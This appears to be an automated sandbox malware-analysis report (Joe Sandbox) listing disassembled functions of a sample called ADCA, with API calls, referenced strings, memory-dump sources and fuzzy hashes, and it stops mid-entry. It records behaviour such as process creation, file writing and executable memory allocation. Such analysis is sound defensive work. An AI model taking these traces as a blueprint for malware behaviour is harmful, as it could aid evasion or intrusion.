FXSAPI.DLL, xrefs: 008720F0
EP7MDL0M.DLL, xrefs: 00872551
scecli.dll, xrefs: 008720CC
,`_L, xrefs: 00871FA7
dpnhupnp.dll, xrefs: 00871972
, xrefs: 008717E9
, xrefs: 008719C9
imscui.DLL, xrefs: 00871C20
, xrefs: 008717D2
, xrefs: 0087266E
RtlNtStatusToDosErrorNoTeb, xrefs: 008728C1

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: NamePathShort
String ID: $ $ $ $ $ $,`_L$7$CsrClientCallServer$EP7MDL0M.DLL$EndPaint$FXSAPI.DLL$GetNamedPipeClientComputerNameW$IMJPDADM.EXE$Microsoft.Windows.Diagnosis.SDHost.ni.dll$PresentationFramework.AeroLite.dll$RtlNtStatusToDosErrorNoTeb$RtlWow64EnableFsRedirection$SafeArrayAllocDescriptor$SnippingTool.exe$System.ServiceModel.Internals.dll$System.Web.Mobile.dll$XamlBuildTask.dll$dpnhupnp.dll$dtsh.dll$ieinstal.exe$imscui.DLL$mcplayer.dll$msado15.dll$poqexec.exe$scecli.dll$vds.exe$wscapi.dll$wups.dll
API String ID: 1295925010-2222364206
Opcode ID: 5d2e70cf41b711fdf37418ce401aa14d087043d00f043388017297650e2e39ee
Instruction ID: 801be07d2291bbea64fa8f8c54778c6b45d2fa94bc2df491ff9f6b9b40d7c6af
Opcode Fuzzy Hash: 5d2e70cf41b711fdf37418ce401aa14d087043d00f043388017297650e2e39ee
Instruction Fuzzy Hash: 53F2393491425ECFDB00EFA4C881ADEB7B5FF49308F108066D444B77A6D734AA5ACB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040D074 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 173
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040D299,?,?), ref: 0040D0AD
RegOpenKeyExW.ADVAPI32(80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040D299,?,?), ref: 0040D0F6
RegOpenKeyExW.ADVAPI32(80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040D299,?,?), ref: 0040D118
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000), ref: 0040D136
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001), ref: 0040D154
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002), ref: 0040D172
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001), ref: 0040D190
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,0040D27C,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040D299), ref: 0040D1D0
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,00000000,0040D27C,?,80000001), ref: 0040D1FB
RegCloseKey.ADVAPI32(?,0040D283,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,0040D27C,?,80000001,Software\Embarcadero\Locales), ref: 0040D276

Strings

Software\CodeGear\Locales, xrefs: 0040D12C, 0040D14A
Software\Embarcadero\Locales, xrefs: 0040D0EC, 0040D10E
Software\Borland\Locales, xrefs: 0040D168
Software\Borland\Delphi\Locales, xrefs: 0040D186

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: Open$QueryValue$CloseFileModuleName
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales$Software\Embarcadero\Locales
API String ID: 2701450724-3496071916
Opcode ID: c16a4baa85a35aa069bdc9d48d9af1adabbe8df825a8c4347384d09cbe66599f
Instruction ID: 784b775982057c7c0034e0750c3c3b6630d9eee3212a56f647cfdb8ae3a704e6
Opcode Fuzzy Hash: c16a4baa85a35aa069bdc9d48d9af1adabbe8df825a8c4347384d09cbe66599f
Instruction Fuzzy Hash: 8051E175E80608BEEB10EAD5CC46FAFB3ACDB48704F5044BBBA14F61C1D6789A448A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00873BF4 Relevance: 24.9, APIs: 1, Strings: 13, Instructions: 423
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104,00000000,008741CB,?,00000074,00000000,0087429D,?,?,?,?,0000004D,00000000,00000000), ref: 00873F9C

Strings

F, xrefs: 00873C68
gpupdate.exe, xrefs: 00873CB7
, xrefs: 00873CF3
AuthFWWizFwk.Resources.dll, xrefs: 00874245
icmp.dll, xrefs: 0087425D
RtlIpv6StringToAddressW, xrefs: 00873C71
msdtctm.dll, xrefs: 00873CC9
SetDynamicTimeZoneInformation, xrefs: 00873CD6
PropSysAllocString, xrefs: 0087419F
TaskScheduler.resources.dll, xrefs: 00873C7E
ZwSinglePhaseReject, xrefs: 008741E0
twunk_16.exe, xrefs: 00873E80
LCMapStringW, xrefs: 008741AC

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: DirectoryWindows
String ID: $AuthFWWizFwk.Resources.dll$F$LCMapStringW$PropSysAllocString$RtlIpv6StringToAddressW$SetDynamicTimeZoneInformation$TaskScheduler.resources.dll$ZwSinglePhaseReject$gpupdate.exe$icmp.dll$msdtctm.dll$twunk_16.exe
API String ID: 3619848164-1532618243
Opcode ID: acc7d45c5d09796f28b1fbf20f33f42f7064414b2dff55cd065bfb5ff4eefc6d
Instruction ID: ba7d8b23c050632f8c4c162896acf9b3919604f37f090ebbf848f84c3faf45e5
Opcode Fuzzy Hash: acc7d45c5d09796f28b1fbf20f33f42f7064414b2dff55cd065bfb5ff4eefc6d
Instruction Fuzzy Hash: 76123934918219DFDB00EFA8D881ADDB7B5FB49314F1080AAE448F37A5D734AA55CF25

Uniqueness

Uniqueness Score: -1.00%

Function 0087E220 Relevance: 23.3, APIs: 4, Strings: 9, Instructions: 560
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(00000000,0000000E,0089B60B,00000004,0000000E,00000000,0087EAC7,?,?,?,?,0000001F,00000000,00000000,00000000), ref: 0087E9BE
CreateFileW.KERNELBASE(00000000,C0000000,00000003,?,00000001,00000080,00000000,00000000,0087EAC7,?,?,?,?,0000001F,00000000,00000000), ref: 0087E9E1
WriteFile.KERNELBASE(000000FF,?,00000000,?,00000000,?,?,?,?,?,?,0000001F,00000000,00000000,00000000), ref: 0087EA73
CloseHandle.KERNEL32(000000FF,?,?,?,?,0000001F,00000000,00000000,00000000,?,0089A09E,?,FDE44ACE,?,?,0089B6AC), ref: 0087EA86

Strings

, xrefs: 0087E65C
, xrefs: 0087E372
Sentinel.v3.5Client.dll, xrefs: 0087E91F
, xrefs: 0087E673
, xrefs: 0087E35B
, xrefs: 0087E389
, xrefs: 0087E32D
, xrefs: 0087E344
MsRdpWebAccess.dll, xrefs: 0087E8B6

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: File$CloseCreateDeleteHandleWrite
String ID: $ $ $ $ $ $ $MsRdpWebAccess.dll$Sentinel.v3.5Client.dll
API String ID: 656945655-3794073312
Opcode ID: 6cb3a58435a4873310c62eeb0016106c44c5d8e3982b09b646eec5b19ab1beca
Instruction ID: b977a249fb2273753ed32700527da0275b03f1a2078872caa0bd0b7dcb6d9bb2
Opcode Fuzzy Hash: 6cb3a58435a4873310c62eeb0016106c44c5d8e3982b09b646eec5b19ab1beca
Instruction Fuzzy Hash: 9C424E3490424E9FDB05DFA0C891BDDBBB6FF4A308F1080A6E544B7392D635AA59CF15

Uniqueness

Uniqueness Score: -1.00%

Function 0087518C Relevance: 21.8, APIs: 1, Strings: 11, Instructions: 806
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00409D9C: SysAllocStringLen.OLEAUT32(?,?), ref: 00409DAA

CreateProcessW.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,?,00876004,?,?), ref: 00875C42

Strings

msnetobj.dll, xrefs: 00875238
wermgr.exe, xrefs: 00875279
nlscoremig.dll, xrefs: 008752DE
D, xrefs: 00875709
EhStorAPI.dll, xrefs: 0087535E
, xrefs: 00875ABC
, xrefs: 00875AA5
,`_L, xrefs: 008758FB
K, xrefs: 0087573B
netprofm.dll, xrefs: 008752C4
Microsoft.Build.Utilities.dll, xrefs: 00875286

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: AllocCreateProcessString
String ID: $ $,`_L$D$EhStorAPI.dll$K$Microsoft.Build.Utilities.dll$msnetobj.dll$netprofm.dll$nlscoremig.dll$wermgr.exe
API String ID: 1156770731-3275516369
Opcode ID: a9b1256ad7a3073b1a1e669d767d624d9c97eea52f4cf8dcbe49ca3b784a5162
Instruction ID: ca8db5ffbe4782aa474916890c15ff25a00fd708b7f9831b0c757001128647e3
Opcode Fuzzy Hash: a9b1256ad7a3073b1a1e669d767d624d9c97eea52f4cf8dcbe49ca3b784a5162
Instruction Fuzzy Hash: E082E675908228CFEB00DF6DE981A8DBBF5FB0A314F10806AE499E7B61D734A945CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00410820 Relevance: 13.8, APIs: 9, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 004108D8

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: c83b337babfb9c57bacd769e525762f8530e5949d6679a35cf9f9d6431fbfede
Instruction ID: cc74c8f84af166c31608546b291aaa01305dc17240101f97f26116069fbfe04c
Opcode Fuzzy Hash: c83b337babfb9c57bacd769e525762f8530e5949d6679a35cf9f9d6431fbfede
Instruction Fuzzy Hash: BCA18275901309AFEB10DFA8D880BEEB7B5BF68350F14851AE505A7381DBB8A9C4CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004235F0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32(00000000,?,?,?,00899A4F,FDE44ACE,?,?,0089B6AC,?,00000074,008B08D8,0089B6AC,00000000,00000074,00000003), ref: 00423601
GetLastError.KERNEL32(00000000,?,?,?,00899A4F,FDE44ACE,?,?,0089B6AC,?,00000074,008B08D8,0089B6AC,00000000,00000074,00000003), ref: 0042365A

Strings

{, xrefs: 0042366B
, xrefs: 0042364B

Memory Dump Source

Source File: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: ${
API String ID: 1799206407-4046706400
Opcode ID: 2c20f6e4d347156d041b77a40ff58360d59760c45fcc539db687fd3a2ee4ed79
Instruction ID: 5296c2e639daefdb2afce18ca50f6ccf0aaa853e04935079694202e18e93c5cc
Opcode Fuzzy Hash: 2c20f6e4d347156d041b77a40ff58360d59760c45fcc539db687fd3a2ee4ed79
Instruction Fuzzy Hash: 8301B53430423034D9352DB92D867BB016C4B9A7AAFE9091BF951A73D1D24D4A57116E

Uniqueness

Uniqueness Score: -1.00%

Function 00405CEC Relevance: 12.2, APIs: 8, Instructions: 221
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,?,?,00000000,0040595E), ref: 00405D82
Sleep.KERNEL32(0000000A,00000000,?,?,00000000,0040595E), ref: 00405D9C

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: f49346c1b323bdaf12b22f604e07d0e5f18810d7551814f018ea3096b6f6177c
Instruction ID: e3b3088ac697dbb74b222dcab15eadb8e91f4f9b8652a3d50a98c4b81140dedd
Opcode Fuzzy Hash: f49346c1b323bdaf12b22f604e07d0e5f18810d7551814f018ea3096b6f6177c
Instruction Fuzzy Hash: 4E71B031605A108BE715DB29C888B17BBD4EF86314F18C2BFE448AB3D2D7B89841DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00405968 Relevance: 9.0, APIs: 7, Instructions: 298
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,FFFFFFDC,00405936), ref: 00405A1F
Sleep.KERNEL32(0000000A,00000000,FFFFFFDC,00405936), ref: 00405A35
Sleep.KERNEL32(00000000,?,?,FFFFFFDC,00405936), ref: 00405A63
Sleep.KERNEL32(0000000A,00000000,?,?,FFFFFFDC,00405936), ref: 00405A79

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 9d5c626ebdc90fe57a8f02de8bf034ac3f1c4b0e0aa204bb20e5ce31d04646b5
Instruction ID: e0b614ee9ddd125cf835ca931cef3cd6a40451fdb7ab989aa96913ea8037bb72
Opcode Fuzzy Hash: 9d5c626ebdc90fe57a8f02de8bf034ac3f1c4b0e0aa204bb20e5ce31d04646b5
Instruction Fuzzy Hash: 2BC12672601B218BE715CF69E884357BBA0FB86310F08827FD455AB7D6D3B4A841CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004099C8 Relevance: 4.6, APIs: 3, Instructions: 95
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 004099FE
FreeLibrary.KERNEL32(00400000,?,?,00000000,00000000,00409B02,00409B1C,?,?,00410258,?,00410287,00000000,0040BE49), ref: 00409A9C
ExitProcess.KERNEL32(00000000,?,?,00000000,00000000,00409B02,00409B1C,?,?,00410258,?,00410287,00000000,0040BE49), ref: 00409AD5

Part of subcall function 00409930: GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,?,00000000,?,004099EE,?,?,00000000,00000000,00409B02,00409B1C,?,?,00410258), ref: 00409969
Part of subcall function 00409930: WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,004099EE,?,?,00000000,00000000,00409B02,00409B1C), ref: 0040996F
Part of subcall function 00409930: GetStdHandle.KERNEL32(000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,004099EE,?,?,00000000), ref: 0040998A
Part of subcall function 00409930: WriteFile.KERNEL32(00000000,000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,004099EE,?,?), ref: 00409990

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: FileHandleWrite$CurrentExitFreeLibraryProcessThread
String ID:
API String ID: 3490077880-0
Opcode ID: a714fe92b39ed14490b611ae5c11bbaa265d7e525db085804be7d0cbcc5123eb
Instruction ID: fc87ae00a40ca9010a61f879a68eb7114013704e751213f5dd5063859d298e3e
Opcode Fuzzy Hash: a714fe92b39ed14490b611ae5c11bbaa265d7e525db085804be7d0cbcc5123eb
Instruction Fuzzy Hash: F2316B70B00B819BEB20AB6A888875B77D0AB45314F14493FE546A6BD3D77CDC84CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040D654 Relevance: 3.1, APIs: 2, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNEL32(00000000,0040D76B,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0040D7F2,00000000,?,00000105), ref: 0040D6FF
GetSystemDefaultUILanguage.KERNEL32(00000000,0040D76B,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0040D7F2,00000000,?,00000105), ref: 0040D727

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: DefaultLanguage$SystemUser
String ID:
API String ID: 384301227-0
Opcode ID: f2f07d34f477fa6367a2f3e5149fce3cc676ec280a34424e823ddb1368fb7f71
Instruction ID: 44059ba97bbf9bf285afe4e6d176834ad347bb586a67322e71495ef5113fc533
Opcode Fuzzy Hash: f2f07d34f477fa6367a2f3e5149fce3cc676ec280a34424e823ddb1368fb7f71
Instruction Fuzzy Hash: CB310E30E102099BDB10EBE9C881AAEB7B5EF44314F50487BE401B73D5D7B9AD89CA59

Uniqueness

Uniqueness Score: -1.00%

Function 0040D778 Relevance: 3.1, APIs: 2, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040D832,?,?,00000000,?,0040C530,?,?,0000020A,?,00000000,0040C570), ref: 0040D7B4
LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,0040D832,?,?,00000000,?,0040C530,?,?,0000020A), ref: 0040D805

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: FileLibraryLoadModuleName
String ID:
API String ID: 1159719554-0
Opcode ID: f0961c1b59299fbeccd5692c5aa1507862732f044e1165cca221ee21f70ce639
Instruction ID: 25bc01ecb4b5ff9ba6bc05304ed11019952474bef5b0b477e3698cfb6d465b5b
Opcode Fuzzy Hash: f0961c1b59299fbeccd5692c5aa1507862732f044e1165cca221ee21f70ce639
Instruction Fuzzy Hash: 60114F71E4461CABDB10EFA4C886BDE73B8DB14304F5144BAB508B72D1DA785E848E99

Uniqueness

Uniqueness Score: -1.00%

Function 025CA7C6 Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 025CA7EE
Module32First.KERNEL32(00000000,00000224), ref: 025CA80E

Memory Dump Source

Source File: 0000000A.00000002.477294048.00000000025CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 025CA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25ca000_ADCA.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 3fbaf3a0a613b1e3df674448f1126ee8847f54e8cc0f5439ab9934b6086efbef
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 71F068311007196FD7203FF5A88DB6A7EE8BF45625F20453CE642910C0E770E8458655

Uniqueness

Uniqueness Score: -1.00%

Function 00409628 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000,00409676,?,008A5000,008ADB9C,00000000,008AB058,00409A75,?,?,00000000,00000000,00409B02,00409B1C), ref: 00409666

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 92e7d51bb77901ad1b416735c23e2e21e9d1d0693fd81f53d29047fe0225b910
Instruction ID: 8671b5dbc46b479544e1c1bf493573795b09545862dd169746a8134d61a541b6
Opcode Fuzzy Hash: 92e7d51bb77901ad1b416735c23e2e21e9d1d0693fd81f53d29047fe0225b910
Instruction Fuzzy Hash: 83F02B312017019FE3215F5AA890E53BB9CFB457607520937DC08D3A92C2369C01C9A5

Uniqueness

Uniqueness Score: -1.00%

Function 0040C504 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,0000020A,?,00000000,0040C570,?,?,0040F130), ref: 0040C522

Part of subcall function 0040D778: GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040D832,?,?,00000000,?,0040C530,?,?,0000020A,?,00000000,0040C570), ref: 0040D7B4
Part of subcall function 0040D778: LoadLibraryExW.KERNEL32(00000000,00000000,00000002,00000000,?,00000105,00000000,0040D832,?,?,00000000,?,0040C530,?,?,0000020A), ref: 0040D805

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: FileModuleName$LibraryLoad
String ID:
API String ID: 4113206344-0
Opcode ID: e401f4025b18fde4cedafd8461d3ecfecea5f060ef9850e24f80275889b77d95
Instruction ID: 8b4822f9e8370efb8aa716ab2bdff0f3c9155800fc7c75105fa7cf001df46ced
Opcode Fuzzy Hash: e401f4025b18fde4cedafd8461d3ecfecea5f060ef9850e24f80275889b77d95
Instruction Fuzzy Hash: 56E0EDB5A003209BCB10DFA8D8C5A5737D8AB08754F444AA6AD14EF386D375DD148BD5

Uniqueness

Uniqueness Score: -1.00%

Function 025CA485 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 025CA4D6

Memory Dump Source

Source File: 0000000A.00000002.477294048.00000000025CA000.00000040.00000800.00020000.00000000.sdmp, Offset: 025CA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_25ca000_ADCA.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: bd404efb1750dfd52e17059034125fc7c8430992bf985809ced4c91c19b0c8a2
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: E0112B79A00208EFDB01DF98C985E99BFF5AF08350F1580A4F9489B361E371EA90DF84

Uniqueness

Uniqueness Score: -1.00%

Function 0040564C Relevance: 1.3, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,?,?,00405C63,FFFFFFDC,00405936), ref: 00405663

Memory Dump Source

Source File: 0000000A.00000002.452127840.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.452273015.000000000041A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.475906775.00000000008B0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.476010495.00000000008B9000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_ADCA.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8f9877d62318573364b680f58bdd96403b1a30c6e5fd2d7d74d0ea7d8677bd8a
